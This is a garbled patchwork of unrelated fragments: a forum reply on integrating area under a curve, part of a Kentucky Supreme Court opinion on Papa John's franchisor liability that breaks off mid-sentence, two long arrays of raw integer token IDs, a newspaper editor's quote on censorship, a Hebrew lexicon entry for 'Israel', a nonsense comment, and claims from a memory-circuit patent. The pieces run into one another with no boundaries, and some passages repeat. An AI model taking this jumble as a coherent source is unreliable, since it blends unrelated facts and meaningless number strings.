area from the bottom curve; so, from -1 to 3 we see that the top curve is the x-axis and the bottom curve is f(x), then from 3 to 4 the top curve if f(x) and the bottom curve is y=0 thanks so much, makes sense, as I was trying to work out the height of the triangle, and not getting anywhere. Also what is the equation of this straight line? Just to clarify, could we have also worked out where this straight line intersects the curve, therefore the height, and use that to find the area or the triangle and add it to the area of the curve, found by integration? thanks so much, makes sense, as I was trying to work out the height of the triangle, and not getting anywhere. Also what is the equation of this straight line? Just to clarify, could we have also worked out where this straight line intersects the curve, therefore the height, and use that to find the area or the triangle and add it to the area of the curve, found by integration? Is this a valid method aswell? The area in the right of the picture is not a triangle, so you can't find the height or anything like that That area is made by a curve and a line. I think the best way to solve this kind of problems is what sponsoredwalk showed to you 244 S.W.3d 44 (2008) PAPA JOHN'S INTERNATIONAL, INC. and RWT, Inc., d/b/a Papa John's Pizza, Appellants v. Gary McCOY, Appellee. No. 2005-SC-000614-DG. Supreme Court of Kentucky. January 24, 2008. *46 Janet P. Jakubowicz, Brent R. Baughman, Jesse Allen Mudd, Greenebaum Doll & McDonald, PLLC, Louisville, KY, Counsel for Appellant Papa John's International, Inc. Pamela T. May, Erich E. Blackburn, Pam May Law Firm, P.S.C., Pikeville, KY, Counsel for Appellant RWT, Inc., d/b/a Papa John's Pizza. C. Thomas Hectus, Randall S. Strause, Hectus & Strause, PLLC, Louisville, KY, Counsel for Appellee. J. Kent Wicker, Reed Wicker, PLLC, Louisville, KY, David J. Kaufmann, Daniel Gildin, Kevin M. Shelley, Kaufmann, Feiner, Yamin, Gildin & Robbins, LLP, New York, NY, Counsel for Amicus Curiae International Franchise Association. Barbara B. Edelman, Alexander J. Moeser, Dinsmore & Shohl, LLP, Lexington, KY, Counsel for Amicus Curiae Kentucky Chamber of Commerce. Opinion of the Court by Justice MINTON. I. INTRODUCTION. This is a case involving the issue of franchisor vicarious liability, an issue of first impression in Kentucky. It arises in the context of a malicious prosecution and defamation lawsuit filed by a customer as a result of a Papa John's pizza delivery gone wrong. *47 The customer originally sued the delivery driver and Papa John's International, Inc., alleging that Papa John's was vicariously liable as the driver's employer. The driver's employer, however, was RWT, Inc., a Papa John's franchisee. Consequently, the customer filed another lawsuit against RWT; and the circuit court consolidated the cases. The circuit court granted summary judgment in favor of RWT and Papa John's for various reasons, which we will discuss in the following sections of this opinion. The Court of Appeals, however, affirmed in part and reversed in part as to both RWT and Papa John's, concluding that genuine issues of material fact precluded summary judgment. As is well-settled in our case law, the driver's employer, RWT, is subject to vicarious liability for a tort committed by its employee acting within the scope of employment. We conclude that the acts complained of here occurred within an independent course of conduct that could not have been intended by the driver to serve any purpose of the employer. So, although for different reasons that we will discuss below, we conclude that the circuit court properly granted summary judgment dismissing the malicious prosecution claim against RWT. Accordingly, we reverse the Court of Appeals as to RWT. The circuit court and the Court of Appeals addressed the vicarious liability of Papa John's using a mixed bag of respondeat superior and ostensible agency principles. Upon review, we conclude that we must take a more precise approach given the ubiquity of the franchise method of doing business in Kentucky. To that end, we adopt a rule in which the franchisor is vicariously liable for the tortious conduct of the franchisee when it, in fact, has control or right of control over the daily operation of the specific aspect of the franchisee's business that is alleged to have caused the harm. Papa John's had no control over the pizza delivery driver's intentional, tortious conduct in this case. So Papa John's cannot be held vicariously liable. Although for different reasons that we will discuss below, we conclude that the circuit court properly granted summary judgment dismissing the malicious prosecution and defamation claims against Papa John's. Accordingly, we reverse the Court of Appeals as to Papa John's. II. FACTS AND PROCEDURAL HISTORY IN THE CIRCUIT COURT. Gary McCoy is a resident of Prestonsburg, Kentucky. He owns two businesses, a scrap metal recycling company and a mining equipment leasing company., On the evening of February 18, 2000, he was working late at the scrap metal business. While he was working, his wife called him about dinner and told him that she would like to have Papa John's pizza, which they had never tried. His wife asked him to order one pizza for them for delivery to their home and another pizza for their housekeeper for delivery to her home. He ordered the pizzas from a Papa John's store, taking some time to inquire about how the store placed the pepperoni on the pizza, and set up the two deliveries. And he asked if the delivery driver could stop off at his business for payment because his wife did not have any money with her. The store stated that it could comply with his various requests. The delivery driver that night was Wendell Burke. Burke delivered the two pizzas and then stopped at McCoy's business for payment. Burke and McCoy tell two stories of what occurred next, although their versions are not entirely different. According to McCoy, after McCoy paid him, Burke remained at McCoy's business in McCoy's office and inquired about employment. *48 McCoy was preoccupied with other

[ 281, 871, 3253, 670, 616, 2208, 13, 1175, 285, 3076, 13, 703, 753, 32300, 14067, 512, 253, 9437, 387, 1453, 13, 309, 4821, 281, 789, 1293, 4709, 285, 1900, 4934, 253, 952, 275, 2564, 15, 4129, 13, 309, 3260, 253, 40043, 2523, 651, 25189, 1664, 2378, 359, 3863, 1633, 253, 9165, 7789, 3815, 858, 417, 751, 1806, 5706, 825, 10633, 753, 15, 773, 42, 452, 642, 1921, 281, 10913, 619, 1481, 1066, 15, 1621, 581, 369, 2104, 281, 18230, 619, 18035, 285, 309, 1669, 342, 619, 12974, 15282, 15, 1310, 309, 4136, 253, 5286, 281, 260, 11313, 253, 2929, 309, 651, 417, 320, 2104, 281, 1007, 387, 4266, 390, 1007, 387, 253, 26903, 2758, 8958, 616, 11547, 369, 18748, 15, 309, 651, 642, 3356, 320, 247, 17264, 13, 533, 7960, 247, 4968, 1425, 37070, 3454, 48015, 13, 665, 369, 253, 11547, 457, 84, 12726, 285, 19908, 9558, 13, 310, 1024, 253, 8121, 15, 5564, 187, 187, 5564, 187, 187, 9133, 428, 495, 31819, 28474, 64, 3418, 428, 6810, 236, 146, 114, 26344, 146, 110, 147, 213, 21062, 146, 118, 21677, 146, 115, 20770, 3418, 64, 28474, 428, 432, 313, 2904, 19100, 10, 285, 313, 2125, 740, 10, 3675, 14326, 428, 714, 261, 376, 8, 2585, 69, 2649, 428, 8256, 35396, 1999, 428, 340, 261, 14, 2040, 14, 1079, 8, 2003, 64, 1171, 64, 48460, 428, 1294, 468, 9424, 12962, 1291, 249, 383, 64, 1545, 428, 432, 7539, 2904, 19100, 6234, 285, 7539, 2125, 740, 6234, 28, 344, 588, 4086, 347, 2656, 28, 500, 261, 4690, 13, 247, 9484, 474, 1416, 273, 14737, 28, 671, 313, 42623, 10, 273, 521, 20731, 414, 27, 1969, 25054, 15, 3123, 37, 64, 1545, 428, 5143, 426, 346, 13618, 1404, 5351, 3, 187, 187, 783, 1273, 1416, 323, 14737, 1677, 281, 779, 407, 2656, 846, 521, 28508, 342, 253, 23087, 387, 7009, 928, 187, 187, 783, 1416, 273, 253, 32148, 285, 253, 5674, 273, 253, 32148, 273, 14737, 187, 187, 783, 1416, 273, 253, 5674, 1919, 253, 2471, 273, 31049, 285, 253, 8085, 187, 187, 783, 1416, 908, 285, 1677, 281, 253, 11186, 18794, 11253, 273, 253, 884, 23206, 762, 5633, 34549, 312, 28, 253, 11053, 18794, 369, 1929, 347, 49548, 187, 187, 783, 1416, 273, 253, 5674, 846, 253, 1091, 432, 33927, 187, 187, 14376, 428, 4857, 428, 340, 2203, 428, 17579, 1545, 24285, 14326, 6302, 13618, 1404, 5351, 6624, 14458, 6302, 248, 588, 4086, 347, 2656, 28, 500, 261, 376, 10093, 77, 13, 247, 9484, 474, 1416, 273, 14737, 28, 671, 313, 42623, 10, 273, 521, 20731, 414, 6624, 5056, 46576, 783, 1273, 1416, 323, 14737, 1677, 281, 779, 407, 2656, 846, 521, 28508, 342, 253, 23087, 387, 7009, 928, 6624, 783, 1416, 273, 253, 32148, 285, 253, 5674, 273, 253, 32148, 273, 14737, 995, 9855, 783, 1416, 273, 253, 5674, 1919, 253, 2471, 273, 31049, 285, 253, 8085, 6624, 783, 1416, 908, 285, 1677, 281, 253, 11186, 18794, 11253, 273, 253, 884, 23206, 762, 5633, 34549, 312, 28, 253, 11053, 18794, 369, 1929, 347, 49548, 6624, 783, 1416, 273, 253, 5674, 846, 253, 1091, 432, 33927, 3, 9502, 94, 937, 46229, 6302, 4064, 388, 3507, 1438, 285, 388, 2125, 740, 6624, 1087, 251, 328, 24285, 532, 66, 6302, 75, 133, 105, 133, 107, 15, 83, 133, 231, 135, 227, 135, 219, 134, 231, 293, 6624, 532, 66, 64, 2307, 6302, 75, 261, 15, 134, 212, 133, 228, 135, 227, 135, 219, 134, 231, 293, 6624, 84, 1559, 6302, 28212, 12040, 83, 5617, 134, 124, 15194, 77, 6624, 69, 280, 6302, 90, 261, 14, 2040, 14, 23502, 6624, 69, 280, 64, 2307, 6302, 90, 4317, 14, 376, 14, 23502, 3, 599, 316, 1131, 428, 5143, 77, 28, 412, 43330, 1251, 571, 46219, 412, 40635, 1662, 665, 66, 326, 4453, 1663, 1663, 44294, 2, 24744, 2389, 253, 30553, 273, 19445, 285, 253, 38811, 310, 16383, 18963, 4672, 187, 187, 34, 12155, 73, 13, 671, 519, 410, 8377, 264, 251, 434, 403, 247, 2257, 1145, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 17209, 275, 247, 1072, 941, 19477, 4438, 281, 13185, 8931, 941, 281, 512, 21012, 941, 23444, 285, 247, 1027, 941, 19477, 4438, 281, 13185, 1027, 941, 281, 9701, 21012, 941, 23444, 2391, 2413, 1358, 2700, 15, 9906, 15, 681, 16, 4066, 592, 16, 3016, 2090, 25289, 2222, 32, 307, 78, 64, 6756, 30, 20773, 14, 72, 11095, 14, 18316, 40504, 1982, 2090, 25289, 2222, 428, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 187, 187, 1145, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 17209, 275, 247, 1072, 941, 19477, 4438, 281, 13185, 8931, 941, 281, 512, 21012, 941, 23444, 285, 247, 1027, 941, 19477, 4438, 281, 13185, 1027, 941, 281, 9701, 21012, 941, 23444, 15, 187, 187, 66, 3923, 29810, 12956, 281, 13398, 6024, 1453, 6298, 285, 3453, 247, 1071, 4438, 3923, 28, 187, 187, 66, 1071, 4438, 1453, 3943, 12956, 281, 6635, 247, 19477, 2625, 323, 10938, 247, 19477, 4254, 285, 247, 19477, 4438, 2625, 323, 32495, 247, 806, 19477, 4438, 275, 534, 8931, 941, 403, 12573, 281, 941, 6322, 3104, 432, 1273, 19477, 4438, 275, 534, 1027, 941, 403, 12573, 281, 9701, 941, 6322, 3104, 2556, 281, 253, 1071, 4438, 3923, 285, 12453, 28, 187, 187, 66, 4438, 29810, 12956, 281, 30358, 253, 19477, 2625, 285, 253, 19477, 4438, 2625, 285, 281, 3453, 247, 1072, 19477, 2625, 323, 10938, 253, 19477, 4254, 275, 247, 806, 19477, 4438, 285, 247, 1027, 19477, 2625, 323, 10938, 253, 19477, 4254, 275, 253, 1273, 941, 19477, 4438, 28, 187, 187, 266, 3280, 3943, 12956, 281, 30358, 3280, 941, 3280, 3280, 8659, 3066, 309, 16, 48, 941, 23854, 13, 13185, 253, 3280, 941, 281, 941, 6322, 3104, 275, 247, 2622, 4438, 13, 13185, 253, 1072, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 285, 3960, 1523, 30332, 253, 3280, 941, 281, 13185, 1027, 941, 281, 253, 9701, 941, 6322, 3104, 275, 253, 1273, 19477, 4438, 1754, 327, 253, 19477, 2625, 13, 253, 1072, 19477, 2625, 285, 253, 1027, 19477, 2625, 28, 285, 187, 187, 266, 3453, 3943, 12956, 281, 4446, 253, 941, 12573, 949, 253, 941, 6322, 3104, 285, 3453, 253, 941, 281, 253, 309, 16, 48, 941, 23854, 275, 253, 2622, 4438, 13, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 2556, 281, 253, 19477, 2625, 285, 253, 19477, 4438, 2625, 13, 285, 294, 14, 249, 1748, 253, 28483, 941, 2190, 253, 941, 12573, 949, 253, 941, 6322, 3104, 13, 285, 1071, 253, 941, 275, 253, 1273, 19477, 4438, 15, 187, 187, 19, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 1071, 4438, 1453, 3943, 12093, 27, 187, 187, 66, 19477, 2625, 11365, 3943, 12956, 281, 6635, 253, 19477, 2625, 281, 1453, 253, 19477, 4254, 2556, 281, 253, 1071, 4438, 3923, 285, 253, 12453, 28, 285, 187, 187, 66, 19477, 4438, 2625, 11365, 3943, 12956, 281, 3453, 253, 19477, 4438, 2625, 281, 12129, 253, 806, 19477, 4438, 432, 253, 1273, 19477, 4438, 2556, 281, 253, 1071, 4438, 3923, 285, 253, 12453, 15, 187, 187, 20, 15, 380, 5049, 2556, 281, 1750, 374, 13, 10646, 253, 19477, 2625, 11365, 3943, 2007, 12093, 247, 9317, 5049, 12956, 281, 40452, 13398, 253, 1071, 4438, 3923, 285, 253, 12453, 285, 281, 6635, 253, 19477, 2625, 15, 187, 187, 21, 15, 380, 5049, 2556, 281, 1750, 495, 13, 10646, 253, 9317, 5049, 12093, 27, 187, 187, 66, 806, 427, 5543, 7394, 323, 427, 5543, 272, 253, 12453, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 271, 28483, 2625, 273, 253, 19477, 2625, 407, 247, 806, 275, 20043, 28, 187, 187, 66, 2626, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 253, 1071, 4438, 3923, 28, 285, 187, 187, 66, 1273, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 2626, 427, 5543, 7394, 285, 3453, 1076, 253, 19477, 2625, 15, 187, 187, 22, 15, 380, 5049, 2556, 281, 1750, 374, 13, 10646, 253, 19477, 4438, 2625, 11365, 3943, 2007, 12093, 247, 9317, 5049, 12956, 281, 40452, 13398, 253, 1071, 4438, 3923, 285, 253, 12453, 285, 281, 6635, 253, 19477, 4438, 2625, 15, 187, 187, 23, 15, 380, 5049, 2556, 281, 1750, 608, 13, 10646, 253, 9317, 5049, 12093, 27, 187, 187, 66, 806, 427, 5543, 7394, 323, 427, 5543, 272, 271, 28483, 2625, 273, 253, 954, 1534, 2953, 2190, 253, 12453, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 271, 28483, 2625, 273, 253, 19477, 4438, 2625, 407, 247, 806, 275, 20043, 28, 187, 187, 66, 2626, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 253, 1071, 4438, 3923, 28, 285, 187, 187, 66, 1273, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 2626, 427, 5543, 7394, 285, 3453, 1076, 253, 19477, 4438, 2625, 15, 187, 187, 24, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 4438, 29810, 12093, 27, 187, 187, 7053, 285, 1273, 275, 332, 1336, 323, 32627, 275, 31324, 253, 19477, 4438, 2625, 28, 187, 187, 19016, 285, 7002, 275, 332, 1336, 323, 32627, 275, 31324, 253, 19477, 2625, 28, 187, 187, 66, 806, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 275, 20043, 285, 253, 3453, 2625, 432, 253, 7002, 275, 20043, 28, 187, 187, 66, 10720, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 3453, 1076, 253, 1072, 19477, 2625, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 275, 20043, 285, 253, 3453, 2625, 432, 253, 7002, 275, 20043, 28, 285, 187, 187, 66, 15515, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 3453, 1076, 253, 1027, 19477, 2625, 15, 187, 187, 25, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 3280, 3943, 12093, 247, 3630, 33168, 12956, 281, 13185, 253, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 275, 253, 2622, 4438, 13, 281, 13185, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 512, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 13, 285, 281, 30332, 253, 1071, 941, 3960, 1523, 281, 253, 9701, 941, 6322, 3104, 275, 253, 1273, 941, 19477, 4438, 15, 187, 187, 26, 15, 380, 5049, 2556, 281, 1750, 854, 13, 10646, 253, 3630, 33168, 12093, 27, 187, 187, 66, 11234, 273, 2622, 6322, 5085, 12956, 281, 13185, 253, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 2556, 281, 253, 19477, 2625, 275, 253, 2622, 4438, 28, 187, 187, 66, 11234, 273, 1072, 19477, 6322, 5085, 12956, 281, 13185, 253, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 2644, 941, 6322, 3104, 2556, 281, 253, 1072, 19477, 2625, 275, 253, 806, 19477, 4438, 28, 285, 187, 187, 66, 11234, 273, 1027, 19477, 6322, 5085, 12956, 281, 3960, 1523, 30332, 253, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 13185, 1027, 941, 281, 253, 9701, 941, 6322, 3104, 2556, 281, 253, 1027, 19477, 2625, 275, 253, 1273, 19477, 4438, 15, 187, 187, 740, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 3453, 3943, 12093, 27, 187, 187, 266, 3453, 6276, 3943, 12956, 281, 4446, 253, 941, 12573, 949, 253, 941, 6322, 3104, 13, 285, 281, 3453, 253, 941, 281, 253, 309, 16, 48, 941, 23854, 275, 253, 2622, 4438, 28, 285, 187, 187, 66, 1239, 33168, 12956, 281, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 285, 281, 294, 14, 249, 1748, 28483, 941, 2190, 253, 941, 12573, 949, 253, 941, 6322, 3104, 285, 1071, 253, 941, 275, 253, 1273, 19477, 4438, 15, 187, 187, 883, 15, 380, 5049, 2556, 281, 1750, 884, 13, 10646, 253, 1239, 33168, 12093, 27, 187, 187, 66, 1072, 941, 1071, 3943, 12956, 281, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 2556, 281, 253, 1072, 19477, 2625 ]

to know everything about their government, good and bad, she said.“Despite all the attempts at control, I continued to work without fear and always kept the people in mind. Although, I knew the censorship issue would resurface once we published something the executive branch alone did not like,” Attocknie said. “I have no reason to hang my head down. No one was able to compromise my ethics and I left with my integrity intact. If I allowed the administration to censor the paper I would not be able to look at myself or look at the tribal members knowing their newspaper was filtered. I would no longer be a journalist, but merely a tool.”Rosemary Stephens, who was the newspaper’s reporter and graphic artist, is now the editor.title title number - 3478orig_word - יִשְׂרָאֵלword_orig - from (08280) and (0410)translit - Yisra'eltdnt - Nonephonetic - yis-raw-ale'part_of_speech - Proper Name Masculinest_def - from «08280» and «0410»; he will rule as God; Jisrael, a symbolical name of Jacob; also (typically) of his posterity: --Israel.IPD_def - Israel = "God prevails" the second name for Jacob given to him by God after his wrestling with the angel at Peniel the name of the descendants and the nation of the descendants of Jacob the name of the nation until the death of Solomon and the split the name used and given to the northern kingdom consisting of the 10 tribes under Jeroboam; the southern kingdom was known as Judah the name of the nation after the return from exile English - letter - ydata - {"def":{"lit":"God prevails","short":"he will rule as God; Jisraël, a symbolical name of Jacob; also (typically) of his posterity","long":["the second name for Jacob given to him by God after his wrestling with the angel at Peniel","the name of the descendants and the nation of the descendants of Jacob",["the name of the nation until the death of Solomon and the split","the name used and given to the northern kingdom consisting of the 10 tribes under Jeroboam; the southern kingdom was known as Judah","the name of the nation after the return from exile"]]},"deriv":"from H8280 and H0410","pronun":{"ipa":"jɪɬ.rɔːˈʔel","ipa_mod":"jis.ʁɑːˈʔel","sbl":"yiśrāʾēl","dic":"yis-raw-ALE","dic_mod":"yees-ra-ALE"}}usages - Israell;opmjngiareignopgioarg whoa that looks really really phenomenal! Really love the shades of purple and the scenery is outstanding!!!!!! Ahhh, also adore Freedon's are a lotAn I/O compression circuit for a semiconductor memory device operates in a same data compress mode to transmit identical data to all compressed data buses and a different data compress mode to transmit different data to adjacent compressed data buses....http://www.google.com/patents/US6934895?utm_source=gb-gplus-sharePatent US6934895 - I/O compression circuit for a semiconductor memory device An I/O compression circuit for a semiconductor memory device operates in a same data compress mode to transmit identical data to all compressed data buses and a different data compress mode to transmit different data to adjacent compressed data buses. a command decoder adapted to combine external control signals and output a test mode command; a test mode control unit adapted to generate a compress signal for controlling a compress operation and a compress mode signal for distinguishing a first compress mode in which identical data are transmitted to data transmission lines from second compress mode in which different data are transmitted to adjacent data transmission lines according to the test mode command and addresses; a mode decoder adapted to decode the compress signal and the compress mode signal and to output a same compress signal for controlling the compress operation in a first compress mode and a different compress signal for controlling the compress operation in the second data compress mode; an input unit adapted to decode input data input inputted via I/O data pins, transmit the input data to data transmission lines in a normal mode, transmit the same data inputted via the I/O data pins to the data transmission lines in the first compress mode and alternately invert the input data to transmit different data to the adjacent data transmission lines in the second compress mode based on the compress signal, the same compress signal and the different compress signal; and an output unit adapted to drive the data transmitted through the data transmission lines and output the data to the I/O data pins in the normal mode, test the data transmitted through the data transmission lines in the first compress mode according to the compress signal and the compress mode signal, and re-invert the inverted data among the data transmitted through the data transmission lines, and test the data in the second compress mode. 2. The circuit according to claim 1, wherein the test mode control unit comprises: a compress signal generating unit adapted to generate the compress signal to control the compress operation according to the test mode command and the addresses; and a compress mode signal generating unit adapted to output the compress mode signal to distinguish the first compress mode from the second compress mode according to the test mode command and the addresses. 3. The circuit according to claim 2, wherein the compress signal generating unit further comprises a logic circuit adapted to logically combine the test mode command and the addresses and to generate the compress signal. 4. The circuit according to claim 3, wherein the logic circuit comprises: a first NAND gate for NANDing the addresses; a second NAND gate for NANDing the output signal from the first NAND gate and an inverted signal of the compress signal by a first inverter; a third NAND gate for NANDing the output signal from the second NAND gate and the test mode command; and a second inverter for inverting the output signal from the third NAND gate and outputting the compress signal. 5. The circuit according to claim 2, wherein the compress mode signal generating unit further comprises a logic circuit adapted to logically combine the test mode command and the addresses and to generate the compress mode signal. 6. The circuit according to claim 5, wherein the logic circuit comprises: a first NAND gate for NANDing an inverted signal of the most significant address among the addresses; a second NAND gate for NANDing the output signal from the first NAND gate and an inverted signal of the compress mode signal by a first inverter; a third NAND gate for NANDing the output signal from the second NAND gate and the test mode command; and a second inverter for inverting the output signal from the third NAND gate and outputting the compress mode signal. 7. The circuit according to claim 1, wherein the mode decoder comprises: first and second inverters for sequentially inverting the compress mode signal; third and fourth inverters for sequentially inverting the compress signal; a first NAND gate for NANDing the output signal from the first inverter and the output signal from the fourth inverter; a fifth inverter for inverting the output signal from the first NAND gate and outputting the same compress signal; a second NAND gate for NANDing the output signal from the second inverter and the output signal from the fourth inverter; and a sixth inverter for inverting the output signal from the second NAND gate and outputting the different compress signal. 8. The circuit according to claim 1, wherein the input unit comprises a write compressor adapted to transmit the data inputted via the I/O data pins to the data transmission lines in the normal mode, to transmit test data inputted via the I/O data pins to all the data transmission lines in the first compress mode, and to invert the test data alternately to the adjacent data transmission lines in the second data compress mode. 9. The circuit according to claim 8, wherein the write compressor comprises: a plurality of normal transmission units adapted to transmit the data inputted via the I/O data pins to the data transmission lines according to the compress signal in the normal mode; a plurality of same compress transmission units adapted to transmit the test data inputted via the I/O data pins to the whole data transmission lines according to the same compress signal in the first compress mode; and a plurality of different compress transmission units adapted to alternately invert the test data inputted via the I/O data pins to transmit different data to the adjacent data transmission lines according to the different compress signal in the second compress mode. 10. The circuit according to claim 1, wherein the output unit comprises: an output driving unit adapted to drive the data transmitted through the data transmission lines, and to output the data to the I/O data pins in the normal mode; and a read compressor adapted to test the data transmitted through the data transmission lines in the first compress mode and to re-invert inverted data among the data transmitted through the data transmission lines and test the data in the second compress mode. 11. The circuit according to claim 10, wherein the read compressor comprises: a same data test unit adapted to test the data transmitted through the data transmission lines according to the same compress signal

[ 6215, 13, 285, 4824, 745, 281, 3968, 13, 4536, 323, 253, 19610, 273, 247, 11019, 1133, 46748, 15, 187, 187, 1276, 4592, 281, 841, 35171, 84, 2378, 597, 7244, 275, 3968, 32, 10348, 597, 20464, 275, 271, 3126, 273, 25470, 5107, 13, 390, 497, 597, 258, 1344, 317, 1025, 407, 253, 643, 6769, 1346, 32, 16358, 657, 11215, 8599, 253, 6281, 273, 253, 38817, 42727, 285, 5702, 25481, 665, 497, 29163, 407, 1146, 2197, 2439, 253, 12927, 281, 789, 327, 4444, 569, 15, 496, 9745, 281, 1495, 436, 14454, 8857, 275, 2448, 2892, 13, 344, 7881, 253, 1039, 359, 1158, 670, 13163, 281, 2393, 3968, 15, 187, 187, 510, 1984, 671, 3797, 271, 30762, 342, 9371, 12192, 323, 37676, 2060, 35171, 84, 665, 497, 20870, 281, 3968, 15, 187, 187, 19, 28623, 187, 187, 4374, 15, 12526, 13, 954, 273, 253, 5861, 273, 2060, 35171, 84, 665, 497, 20870, 28932, 275, 5854, 285, 417, 275, 3968, 15, 1723, 13, 1142, 273, 841, 10894, 452, 644, 18133, 285, 3863, 13, 954, 19836, 407, 7993, 10520, 20754, 3964, 15, 20754, 3964, 457, 84, 380, 4377, 457, 84, 11271, 12449, 281, 15812, 285, 9385, 10894, 35171, 84, 20870, 281, 841, 767, 19665, 407, 673, 285, 6215, 15, 3032, 3437, 14, 34940, 13, 380, 25426, 7225, 273, 4825, 304, 9231, 13, 12036, 24, 14, 1166, 3121, 13, 310, 625, 11088, 285, 671, 10894, 26234, 1520, 20325, 15, 1422, 476, 671, 1611, 380, 31298, 273, 253, 8937, 27738, 285, 2701, 634, 3186, 281, 26593, 347, 247, 14232, 281, 1089, 253, 7587, 273, 35171, 84, 665, 497, 20870, 432, 4693, 285, 253, 8704, 2170, 15, 187, 187, 6300, 34723, 27, 15643, 2448, 13602, 10529, 187, 187, 10572, 253, 2488, 187, 187, 50047, 657, 11215, 556, 3862, 15040, 275, 253, 2675, 285, 8928, 2892, 273, 6617, 285, 14232, 285, 310, 253, 2488, 273, 253, 10550, 15, 681, 1682, 23708, 5098, 13, 38635, 342, 271, 17826, 37239, 285, 15643, 2448, 13602, 10529, 15, 754, 6556, 247, 1777, 15, 37, 15, 432, 253, 2418, 2499, 273, 1457, 2816, 387, 659, 2421, 11989, 285, 271, 353, 15, 45, 15, 52, 15, 432, 33538, 7276, 2499, 15, 754, 556, 1620, 5262, 247, 2360, 275, 12907, 13, 533, 344, 369, 2378, 39380, 10145, 273, 439, 4488, 12545, 15, 187, 21056, 3189, 15, 187, 187, 22032, 831, 25729, 187, 187, 3074, 21754, 1160, 407, 1469, 949, 253, 4859, 327, 436, 4422, 1361, 281, 1978, 352, 3515, 283, 20094, 368, 4489, 253, 3580, 5742, 7117, 390, 1089, 1633, 2010, 368, 651, 2581, 7471, 15, 367, 5395, 403, 4555, 253, 1072, 347, 604, 368, 2427, 3587, 281, 253, 6264, 4422, 15, 60, 570, 1822, 85, 3838, 249, 14, 20, 313, 2649, 14, 20, 10, 310, 247, 12004, 17318, 94, 3558, 273, 253, 21744, 6551, 85, 3838, 249, 2021, 273, 27668, 4324, 15, 380, 1029, 14, 47854, 6437, 323, 20483, 14, 20, 310, 253, 6437, 25367, 11725, 330, 13, 492, 76, 36, 2479, 35, 3583, 6660, 3738, 20483, 14, 20, 476, 671, 17561, 492, 76, 34, 390, 492, 42574, 2479, 35, 1047, 1092, 1008, 35, 1229, 2498, 9157, 13, 268, 1976, 476, 320, 10939, 10564, 407, 1016, 6551, 85, 3838, 249, 13, 285, 352, 778, 7832, 342, 667, 581, 273, 253, 6551, 85, 3838, 249, 492, 76, 10185, 281, 28641, 2173, 6551, 85, 3838, 249, 6128, 2479, 35, 740, 2498, 20483, 14, 20, 8525, 253, 2440, 273, 247, 4618, 2491, 273, 10844, 17872, 2718, 15, 1198, 1650, 13, 20483, 14, 20, 14384, 310, 2330, 342, 253, 5928, 273, 26618, 49066, 84, 326, 12893, 432, 253, 22377, 10821, 38374, 13, 285, 1260, 29392, 41593, 49066, 84, 326, 12893, 432, 253, 22285, 5230, 49237, 313, 4976, 40, 481, 2053, 2486, 14045, 80, 31898, 49066, 84, 285, 616, 10844, 3282, 15384, 313, 14557, 2148, 653, 527, 868, 13, 49308, 33618, 15384, 582, 399, 14, 41754, 49066, 2543, 410, 37555, 13, 285, 7808, 42174, 36476, 2543, 410, 37555, 285, 616, 2330, 44669, 1341, 13, 534, 403, 3663, 1501, 25781, 595, 2479, 35, 1630, 1092, 1008, 35, 1717, 1092, 1008, 35, 1867, 1092, 1008, 35, 3357, 2498, 380, 2957, 273, 841, 1260, 29392, 41593, 9130, 13, 275, 1798, 1110, 15979, 281, 14045, 80, 2409, 13, 403, 1869, 281, 8162, 281, 253, 10969, 11438, 285, 10183, 12422, 2540, 275, 475, 6369, 14, 20, 11, 26738, 313, 19395, 10, 3754, 13, 534, 3150, 407, 495, 47178, 273, 2363, 15, 5220, 13, 7898, 20483, 14, 20, 2957, 313, 249, 49846, 4787, 13, 559, 15304, 10, 1543, 275, 7898, 2957, 273, 399, 14, 41754, 49066, 84, 285, 7808, 42174, 2543, 410, 37555, 13, 533, 1110, 326, 11883, 452, 2622, 1159, 2479, 35, 18, 2498, 496, 4499, 13, 36476, 19911, 273, 20483, 14, 20, 5644, 281, 2559, 4470, 21752, 273, 5181, 2328, 265, 285, 4707, 44535, 13, 1690, 2559, 1180, 273, 1097, 44669, 1341, 285, 253, 10710, 40, 23586, 894, 8248, 432, 534, 841, 49066, 84, 35282, 2479, 35, 19, 2498, 187, 187, 6369, 14, 20, 13, 8534, 275, 629, 949, 5743, 273, 253, 6437, 492, 76, 36, 